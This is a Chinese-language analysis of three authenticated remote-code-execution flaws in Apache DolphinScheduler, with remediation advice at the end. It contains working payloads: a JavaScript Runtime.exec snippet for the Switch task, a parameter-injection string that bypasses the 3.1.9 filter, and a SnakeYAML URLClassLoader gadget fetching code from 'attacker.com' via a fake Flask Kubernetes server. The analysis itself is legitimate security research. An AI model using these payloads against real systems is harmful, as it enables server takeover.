Apache DolphinScheduler auth RCE(CVE-2023-49299&CVE-2024-23320&CVE-2023-49109)
字数 1362 2025-08-23 18:31:24
Apache DolphinScheduler 认证RCE漏洞分析(CVE-2023-49299 & CVE-2024-23320 & CVE-2023-49109)
漏洞概述
本文档详细分析Apache DolphinScheduler工作流调度系统中存在的三个认证后远程代码执行漏洞:
- CVE-2023-49299 - Switch任务中的JavaScript引擎代码执行漏洞
- CVE-2024-23320 - 参数注入导致的JavaScript代码执行漏洞
- CVE-2023-49109 - Kubernetes命名空间配置中的YAML反序列化漏洞
CVE-2023-49299 - Switch任务JS引擎RCE
漏洞原理
漏洞位于SwitchTaskUtils类的evaluate方法,该方法通过JavaScript引擎执行传入的代码。在3.1.8及之前版本中,攻击者可以直接传入恶意JS代码。
代码分析
关键类SwitchTaskUtils的evaluate方法:
// 3.1.8版本
public static boolean evaluate(String condition, Map<String, Property> globalParams, Map<String, Property> varParams) {
ScriptEngineManager manager = new ScriptEngineManager();
ScriptEngine engine = manager.getEngineByName("js");
// 直接执行传入的condition
return (Boolean) engine.eval(condition);
}
在3.1.9版本中,新增了generateContentWithTaskParams方法对输入进行处理:
// 3.1.9版本新增的过滤方法
public static String generateContentWithTaskParams(String condition, Map<String, Property> globalParams, Map<String, Property> varParams) {
String content = condition.replaceAll("'", "\"");
// 新增正则检查
if (!content.matches("[\\s\\S]*\\$\\{[\\s\\S]*}[\\s\\S]*")) {
throw new IllegalArgumentException("condition is not valid, please check it. condition: " + condition);
}
// ...参数替换逻辑...
}
攻击流程
- 登录系统后,在"项目管理"中创建新的工作流定义
- 添加"Switch"任务节点
- 在"条件"字段中输入恶意JS代码:
var a = mainOutput();
function mainOutput() {
var x = java.lang.Runtime.getRuntime().exec("touch /tmp/rce");
};
- 创建工作流并执行,系统会在
/tmp目录下创建rce文件
修复方案
3.1.9版本通过generateContentWithTaskParams方法添加了输入验证,要求输入必须包含${}形式的变量替换语法。
CVE-2024-23320 - 参数注入JS代码执行
漏洞原理
虽然3.1.9版本修复了直接执行JS代码的问题,但攻击者可以通过参数注入方式绕过限制。通过构造特殊的参数值,仍可执行任意JS代码。
攻击方法
利用参数替换机制,将恶意JS代码作为参数值注入:
- 设置一个参数如
a,其值为:";var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("touch /tmp/rce")}; // - 在Switch条件中使用
${a},系统会将其替换为上述JS代码 - 最终执行的代码会拼接成完整的JS代码并执行
修复方案
应彻底禁用JavaScript引擎或实现更严格的输入验证和沙箱机制。
CVE-2023-49109 - YAML反序列化漏洞
漏洞原理
在Kubernetes命名空间配置功能中,使用snakeyaml 1.33版本存在反序列化漏洞(CVE-2022-1471)。攻击者可构造恶意YAML触发远程代码执行。
关键代码
// 在K8sNamespaceServiceImpl类中
private String genDefaultResourceYaml(K8sNamespace k8sNamespace) {
String name = k8sNamespace.getNamespace();
// ...处理YAML模板...
return result;
}
public void upsertNamespacedResourceToK8s(K8sNamespace k8sNamespace, String yamlStr) {
Yaml yaml = new Yaml();
// 反序列化用户控制的yamlStr
yaml.loadAs(yamlStr, Object.class);
}
攻击流程
- 配置伪造的Kubernetes集群,将
masterUrl指向攻击者控制的服务器 - 创建Flask伪造服务端响应命名空间查询:
from flask import Flask, jsonify
app = Flask(__name__)
@app.route('/api/v1/namespaces', methods=['GET'])
def get_namespaces():
namespaces = {
"items": [{
"metadata": {
"name": "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://attacker.com\"]]]]"
}
}]
}
return jsonify(namespaces)
app.run(host='0.0.0.0', port=5000)
- 在DolphinScheduler中设置命名空间为恶意YAML:
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://attacker.com"]]]]
- 系统会尝试反序列化该YAML,触发远程代码执行
修复方案
升级snakeyaml到安全版本,并禁用不安全的YAML特性。
综合防护建议
- 及时升级到最新安全版本
- 限制工作流定义和任务参数的权限
- 对Kubernetes集成功能实施严格的网络访问控制
- 监控系统日志中的可疑活动
- 实施最小权限原则,避免使用高权限账户运行服务